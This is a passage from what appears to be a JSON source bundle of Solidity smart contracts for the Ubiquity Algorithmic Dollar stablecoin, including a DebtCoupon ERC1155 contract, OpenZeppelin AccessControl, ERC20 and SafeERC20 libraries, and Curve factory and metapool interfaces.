}\n if (x >= 0x10000000000000000) {\n x >>= 64;\n result += 64;\n }\n if (x >= 0x100000000) {\n x >>= 32;\n result += 32;\n }\n if (x >= 0x10000) {\n x >>= 16;\n result += 16;\n }\n if (x >= 0x100) {\n x >>= 8;\n result += 8;\n }\n if (x >= 0x10) {\n x >>= 4;\n result += 4;\n }\n if (x >= 0x4) {\n x >>= 2;\n result += 2;\n }\n if (x >= 0x2) result += 1; // No need to shift x anymore\n\n return result;\n }\n }\n}\n" - }, - "contracts/DebtCoupon.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\";\nimport \"solidity-linked-list/contracts/StructuredLinkedList.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\n\n/// @title A coupon redeemable for dollars with an expiry block number\n/// @notice An ERC1155 where the token ID is the expiry block number\n/// @dev Implements ERC1155 so receiving contracts must implement IERC1155Receiver\ncontract DebtCoupon is ERC1155 {\n using StructuredLinkedList for StructuredLinkedList.List;\n\n UbiquityAlgorithmicDollarManager public manager;\n\n //not public as if called externally can give inaccurate value. see method\n uint256 private _totalOutstandingDebt;\n\n //represents tokenSupply of each expiry (since 1155 doesnt have this)\n mapping(uint256 => uint256) private _tokenSupplies;\n\n //ordered list of coupon expiries\n StructuredLinkedList.List private _sortedBlockNumbers;\n\n event MintedCoupons(address recipient, uint256 expiryBlock, uint256 amount);\n\n event BurnedCoupons(\n address couponHolder,\n uint256 expiryBlock,\n uint256 amount\n );\n\n modifier onlyCouponManager() {\n require(\n manager.hasRole(manager.COUPON_MANAGER_ROLE(), msg.sender),\n \"Caller is not a coupon manager\"\n );\n _;\n }\n\n //@dev URI param is if we want to add an off-chain meta data uri associated with this contract\n constructor(address _manager) ERC1155(\"URI\") {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n _totalOutstandingDebt = 0;\n }\n\n /// @notice Mint an amount of coupons expiring at a certain block for a certain recipient\n /// @param amount amount of tokens to mint\n /// @param expiryBlockNumber the expiration block number of the coupons to mint\n function mintCoupons(\n address recipient,\n uint256 amount,\n uint256 expiryBlockNumber\n ) public onlyCouponManager {\n _mint(recipient, expiryBlockNumber, amount, \"\");\n emit MintedCoupons(recipient, expiryBlockNumber, amount);\n\n //insert new relevant block number if it doesnt exist in our list\n // (linkedlist implementation wont insert if dupe)\n _sortedBlockNumbers.pushBack(expiryBlockNumber);\n\n //update the total supply for that expiry and total outstanding debt\n _tokenSupplies[expiryBlockNumber] =\n _tokenSupplies[expiryBlockNumber] +\n (amount);\n _totalOutstandingDebt = _totalOutstandingDebt + (amount);\n }\n\n /// @notice Burn an amount of coupons expiring at a certain block from\n /// a certain holder's balance\n /// @param couponOwner the owner of those coupons\n /// @param amount amount of tokens to burn\n /// @param expiryBlockNumber the expiration block number of the coupons to burn\n function burnCoupons(\n address couponOwner,\n uint256 amount,\n uint256 expiryBlockNumber\n ) public onlyCouponManager {\n require(\n balanceOf(couponOwner, expiryBlockNumber) >= amount,\n \"Coupon owner not enough coupons\"\n );\n _burn(couponOwner, expiryBlockNumber, amount);\n emit BurnedCoupons(couponOwner, expiryBlockNumber, amount);\n\n //update the total supply for that expiry and total outstanding debt\n _tokenSupplies[expiryBlockNumber] =\n _tokenSupplies[expiryBlockNumber] -\n (amount);\n _totalOutstandingDebt = _totalOutstandingDebt - (amount);\n }\n\n /// @notice Should be called prior to any state changing functions.\n // Updates debt according to current block number\n function updateTotalDebt() public {\n bool reachedEndOfExpiredKeys = false;\n uint256 currentBlockNumber = _sortedBlockNumbers.popFront();\n\n //if list is empty, currentBlockNumber will be 0\n while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) {\n if (currentBlockNumber > block.number) {\n //put the key back in since we popped, and end loop\n _sortedBlockNumbers.pushFront(currentBlockNumber);\n reachedEndOfExpiredKeys = true;\n } else {\n //update tally and remove key from blocks and map\n _totalOutstandingDebt =\n _totalOutstandingDebt -\n (_tokenSupplies[currentBlockNumber]);\n delete _tokenSupplies[currentBlockNumber];\n _sortedBlockNumbers.remove(currentBlockNumber);\n }\n currentBlockNumber = _sortedBlockNumbers.popFront();\n }\n }\n\n /// @notice Returns outstanding debt by fetching current tally and removing any expired debt\n function getTotalOutstandingDebt() public view returns (uint256) {\n uint256 outstandingDebt = _totalOutstandingDebt;\n bool reachedEndOfExpiredKeys = false;\n (, uint256 currentBlockNumber) = _sortedBlockNumbers.getNextNode(0);\n\n while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) {\n if (currentBlockNumber > block.number) {\n reachedEndOfExpiredKeys = true;\n } else {\n outstandingDebt =\n outstandingDebt -\n (_tokenSupplies[currentBlockNumber]);\n }\n (, currentBlockNumber) = _sortedBlockNumbers.getNextNode(\n currentBlockNumber\n );\n }\n\n return outstandingDebt;\n }\n}\n" - }, - "@openzeppelin/contracts/access/AccessControl.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\nimport \"../utils/Strings.sol\";\nimport \"../utils/introspection/ERC165.sol\";\n\n/**\n * @dev External interface of AccessControl declared to support ERC165 detection.\n */\ninterface IAccessControl {\n function hasRole(bytes32 role, address account) external view returns (bool);\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n function grantRole(bytes32 role, address account) external;\n function revokeRole(bytes32 role, address account) external;\n function renounceRole(bytes32 role, address account) external;\n}\n\n/**\n * @dev Contract module that allows children to implement role-based access\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\n * members except through off-chain means by accessing the contract event logs. Some\n * applications may benefit from on-chain enumerability, for those cases see\n * {AccessControlEnumerable}.\n *\n * Roles are referred to by their `bytes32` identifier. These should be exposed\n * in the external API and be unique. The best way to achieve this is by\n * using `public constant` hash digests:\n *\n * ```\n * bytes32 public constant MY_ROLE = keccak256(\"MY_ROLE\");\n * ```\n *\n * Roles can be used to represent a set of permissions. To restrict access to a\n * function call, use {hasRole}:\n *\n * ```\n * function foo() public {\n * require(hasRole(MY_ROLE, msg.sender));\n * ...\n * }\n * ```\n *\n * Roles can be granted and revoked dynamically via the {grantRole} and\n * {revokeRole} functions. Each role has an associated admin role, and only\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\n *\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\n * that only accounts with this role will be able to grant or revoke other\n * roles. More complex role relationships can be created by using\n * {_setRoleAdmin}.\n *\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\n * grant and revoke this role. Extra precautions should be taken to secure\n * accounts that have been granted it.\n */\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\n struct RoleData {\n mapping (address => bool) members;\n bytes32 adminRole;\n }\n\n mapping (bytes32 => RoleData) private _roles;\n\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n /**\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\n *\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\n * {RoleAdminChanged} not being emitted signaling this.\n *\n * _Available since v3.1._\n */\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n\n /**\n * @dev Emitted when `account` is granted `role`.\n *\n * `sender` is the account that originated the contract call, an admin role\n * bearer except when using {_setupRole}.\n */\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Emitted when `account` is revoked `role`.\n *\n * `sender` is the account that originated the contract call:\n * - if using `revokeRole`, it is the admin role bearer\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\n */\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Modifier that checks that an account has a specific role. Reverts\n * with a standardized message including the required role.\n *\n * The format of the revert reason is given by the following regular expression:\n *\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\n *\n * _Available since v4.1._\n */\n modifier onlyRole(bytes32 role) {\n _checkRole(role, _msgSender());\n _;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IAccessControl).interfaceId\n || super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) public view override returns (bool) {\n return _roles[role].members[account];\n }\n\n /**\n * @dev Revert with a standard message if `account` is missing `role`.\n *\n * The format of the revert reason is given by the following regular expression:\n *\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\n */\n function _checkRole(bytes32 role, address account) internal view {\n if(!hasRole(role, account)) {\n revert(string(abi.encodePacked(\n \"AccessControl: account \",\n Strings.toHexString(uint160(account), 20),\n \" is missing role \",\n Strings.toHexString(uint256(role), 32)\n )));\n }\n }\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\n return _roles[role].adminRole;\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\n _grantRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\n _revokeRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been granted `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `account`.\n */\n function renounceRole(bytes32 role, address account) public virtual override {\n require(account == _msgSender(), \"AccessControl: can only renounce roles for self\");\n\n _revokeRole(role, account);\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event. Note that unlike {grantRole}, this function doesn't perform any\n * checks on the calling account.\n *\n * [WARNING]\n * ====\n * This function should only be called from the constructor when setting\n * up the initial roles for the system.\n *\n * Using this function in any other way is effectively circumventing the admin\n * system imposed by {AccessControl}.\n * ====\n */\n function _setupRole(bytes32 role, address account) internal virtual {\n _grantRole(role, account);\n }\n\n /**\n * @dev Sets `adminRole` as ``role``'s admin role.\n *\n * Emits a {RoleAdminChanged} event.\n */\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\n _roles[role].adminRole = adminRole;\n }\n\n function _grantRole(bytes32 role, address account) private {\n if (!hasRole(role, account)) {\n _roles[role].members[account] = true;\n emit RoleGranted(role, account, _msgSender());\n }\n }\n\n function _revokeRole(bytes32 role, address account) private {\n if (hasRole(role, account)) {\n _roles[role].members[account] = false;\n emit RoleRevoked(role, account, _msgSender());\n }\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC20/ERC20.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin guidelines: functions revert instead\n * of returning `false` on failure. This behavior is nonetheless conventional\n * and does not conflict with the expectations of ERC20 applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping (address => uint256) private _balances;\n\n mapping (address => mapping (address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The defaut value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor (string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `recipient` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * Requirements:\n *\n * - `sender` and `recipient` cannot be the zero address.\n * - `sender` must have a balance of at least `amount`.\n * - the caller must have allowance for ``sender``'s tokens of at least\n * `amount`.\n */\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\");\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n /**\n * @dev Moves tokens `amount` from `sender` to `recipient`.\n *\n * This is internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `sender` cannot be the zero address.\n * - `recipient` cannot be the zero address.\n * - `sender` must have a balance of at least `amount`.\n */\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(senderBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(address owner, address spender, uint256 amount) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be to transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\n}\n" - }, - "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n // solhint-disable-next-line max-line-length\n require((value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) { // Return data is optional\n // solhint-disable-next-line max-line-length\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n" - }, - "contracts/interfaces/IUbiquityAlgorithmicDollar.sol": { - "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.3;\n\nimport \"./IERC20Ubiquity.sol\";\n\n/// @title UAD stablecoin interface\n/// @author Ubiquity Algorithmic Dollar\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\n event IncentiveContractUpdate(\n address indexed _incentivized,\n address indexed _incentiveContract\n );\n\n function setIncentiveContract(address account, address incentive) external;\n\n function incentiveContract(address account) external view returns (address);\n}\n" - }, - "contracts/interfaces/ICurveFactory.sol": { - "content": "// SPDX-License-Identifier: MIT\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\npragma solidity ^0.8.3;\n\ninterface ICurveFactory {\n event BasePoolAdded(address base_pool, address implementat);\n event MetaPoolDeployed(\n address coin,\n address base_pool,\n uint256 A,\n uint256 fee,\n address deployer\n );\n\n function find_pool_for_coins(address _from, address _to)\n external\n view\n returns (address);\n\n function find_pool_for_coins(\n address _from,\n address _to,\n uint256 i\n ) external view returns (address);\n\n function get_n_coins(address _pool)\n external\n view\n returns (uint256, uint256);\n\n function get_coins(address _pool) external view returns (address[2] memory);\n\n function get_underlying_coins(address _pool)\n external\n view\n returns (address[8] memory);\n\n function get_decimals(address _pool)\n external\n view\n returns (uint256[2] memory);\n\n function get_underlying_decimals(address _pool)\n external\n view\n returns (uint256[8] memory);\n\n function get_rates(address _pool) external view returns (uint256[2] memory);\n\n function get_balances(address _pool)\n external\n view\n returns (uint256[2] memory);\n\n function get_underlying_balances(address _pool)\n external\n view\n returns (uint256[8] memory);\n\n function get_A(address _pool) external view returns (uint256);\n\n function get_fees(address _pool) external view returns (uint256, uint256);\n\n function get_admin_balances(address _pool)\n external\n view\n returns (uint256[2] memory);\n\n function get_coin_indices(\n address _pool,\n address _from,\n address _to\n )\n external\n view\n returns (\n int128,\n int128,\n bool\n );\n\n function add_base_pool(\n address _base_pool,\n address _metapool_implementation,\n address _fee_receiver\n ) external;\n\n function deploy_metapool(\n address _base_pool,\n string memory _name,\n string memory _symbol,\n address _coin,\n uint256 _A,\n uint256 _fee\n ) external returns (address);\n\n function commit_transfer_ownership(address addr) external;\n\n function accept_transfer_ownership() external;\n\n function set_fee_receiver(address _base_pool, address _fee_receiver)\n external;\n\n function convert_fees() external returns (bool);\n\n function admin() external view returns (address);\n\n function future_admin() external view returns (address);\n\n function pool_list(uint256 arg0) external view returns (address);\n\n function pool_count() external view returns (uint256);\n\n function base_pool_list(uint256 arg0) external view returns (address);\n\n function base_pool_count() external view returns (uint256);\n\n function fee_receiver(address arg0) external view returns (address);\n}\n" - }, - "contracts/interfaces/IMetaPool.sol": { - "content": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\npragma solidity ^0.8.3;\n\ninterface IMetaPool {\n event Transfer(\n address indexed sender,\n address indexed receiver,\n uint256 value\n );\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event TokenExchange(\n address indexed buyer,\n int128 sold_id,\n uint256 tokens_sold,\n int128 bought_id,\n uint256 tokens_bought\n );\n event TokenExchangeUnderlying(\n address indexed buyer,\n int128 sold_id,\n uint256 tokens_sold,\n int128 bought_id,\n uint256 tokens_bought\n );\n event AddLiquidity(\n address indexed provider,\n uint256[2] token_amounts,\n uint256[2] fees,\n uint256 invariant,\n uint256 token_supply\n );\n event RemoveLiquidity(\n address indexed provider,\n uint256[2] token_amounts,\n uint256[2] fees,\n uint256 token_supply\n );\n event RemoveLiquidityOne(\n address indexed provider,\n uint256 token_amount,\n uint256 coin_amount,\n uint256 token_supply\n );\n event RemoveLiquidityImbalance(\n address indexed provider,\n uint256[2] token_amounts,\n uint256[2] fees,\n uint256 invariant,\n uint256 token_supply\n );\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\n event NewAdmin(address indexed admin);\n event CommitNewFee(\n uint256 indexed deadline,\n uint256 fee,\n uint256 admin_fee\n );\n event NewFee(uint256 fee, uint256 admin_fee);\n event RampA(\n uint256 old_A,\n uint256 new_A,\n uint256 initial_time,\n uint256 future_time\n );\n event StopRampA(uint256 A, uint256 t);\n\n function initialize(\n string memory _name,\n string memory _symbol,\n address _coin,\n uint256 _decimals,\n uint256 _A,\n uint256 _fee,\n address _admin\n ) external;\n\n function decimals() external view returns (uint256);\n\n function transfer(address _to, uint256 _value) external returns (bool);\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) external returns (bool);\n\n function approve(address _spender, uint256 _value) external returns (bool);\n\n function get_previous_balances() external view returns (uint256[2] memory);\n\n function get_balances() external view returns (uint256[2] memory);\n\n function get_twap_balances(\n uint256[2] memory _first_balances,\n uint256[2] memory _last_balances,\n uint256 _time_elapsed\n ) external view returns (uint256[2] memory);\n\n function get_price_cumulative_last()\n external\n view\n returns (uint256[2] memory);\n\n function admin_fee() external view returns (uint256);\n\n function A() external view returns (uint256);\n\n function A_precise() external view returns (uint256);\n\n function get_virtual_price() external view returns (uint256);\n\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\n external\n view\n returns (uint256);\n\n function calc_token_amount(\n uint256[2] memory _amounts,\n bool _is_deposit,\n bool _previous\n ) external view returns (uint256);\n\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\n external\n returns (uint256);\n\n function add_liquidity(\n uint256[2] memory _amounts,\n uint256 _min_mint_amount,\n address _receiver\n ) external returns (uint256);\n\n function get_dy(\n int128 i,\n int128 j,\n uint256 dx\n ) external view returns (uint256);\n\n function get_dy(\n int128 i,\n int128 j,\n uint256 dx,\n uint256[2] memory _balances\n ) external view returns (uint256);\n\n function get_dy_underlying(\n int128 i,\n int128 j,\n uint256 dx\n ) external view returns (uint256);\n\n function get_dy_underlying(\n int128 i,\n int128 j,\n uint256 dx,\n uint256[2] memory _balances\n ) external view returns (uint256);\n\n function exchange(\n int128 i,\n int128 j,\n uint256 dx,\n uint256 min_dy\n ) external returns (uint256);\n\n function exchange(\n int128 i,\n int128 j,\n uint256 dx,\n uint256 min_dy,\n address _receiver\n ) external returns (uint256);\n\n function exchange_underlying(\n int128 i,\n int128 j,\n uint256 dx,\n uint256 min_dy\n ) external returns (uint256);\n\n function exchange_underlying(\n int128 i,\n int128 j,\n uint256 dx,\n uint256 min_dy,\n address _receiver\n ) external returns (uint256);\n\n function remove_liquidity(\n uint256 _burn_amount,\n uint256[2] memory _min_amounts\n ) external returns (uint256[2] memory);\n\n function remove_liquidity(\n uint256 _burn_amount,\n uint256[2] memory _min_amounts,\n address _receiver\n ) external returns (uint256[2] memory);\n\n function remove_liquidity_imbalance(\n uint256[2] memory _amounts,\n uint256 _max_burn_amount\n ) external returns (uint256);\n\n function remove_liquidity_imbalance(\n uint256[2] memory _amounts,\n uint256 _max_burn_amount,\n address _receiver\n ) external returns (uint256);\n\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\n external\n view\n returns (uint256);\n\n function calc_withdraw_one_coin(\n uint256 _burn_amount,\n int128 i,\n bool _previous\n ) external view returns (uint256);\n\n function remove_liquidity_one_coin(\n uint256 _burn_amount,\n int128 i,\n uint256 _min_received\n ) external returns (uint256);\n\n function remove_liquidity_one_coin(\n uint256 _burn_amount,\n int128 i,\n uint256 _min_received,\n address _receiver\n ) external returns (uint256);\n\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\n\n function stop_ramp_A() external;\n\n function admin_balances(uint256 i) external view 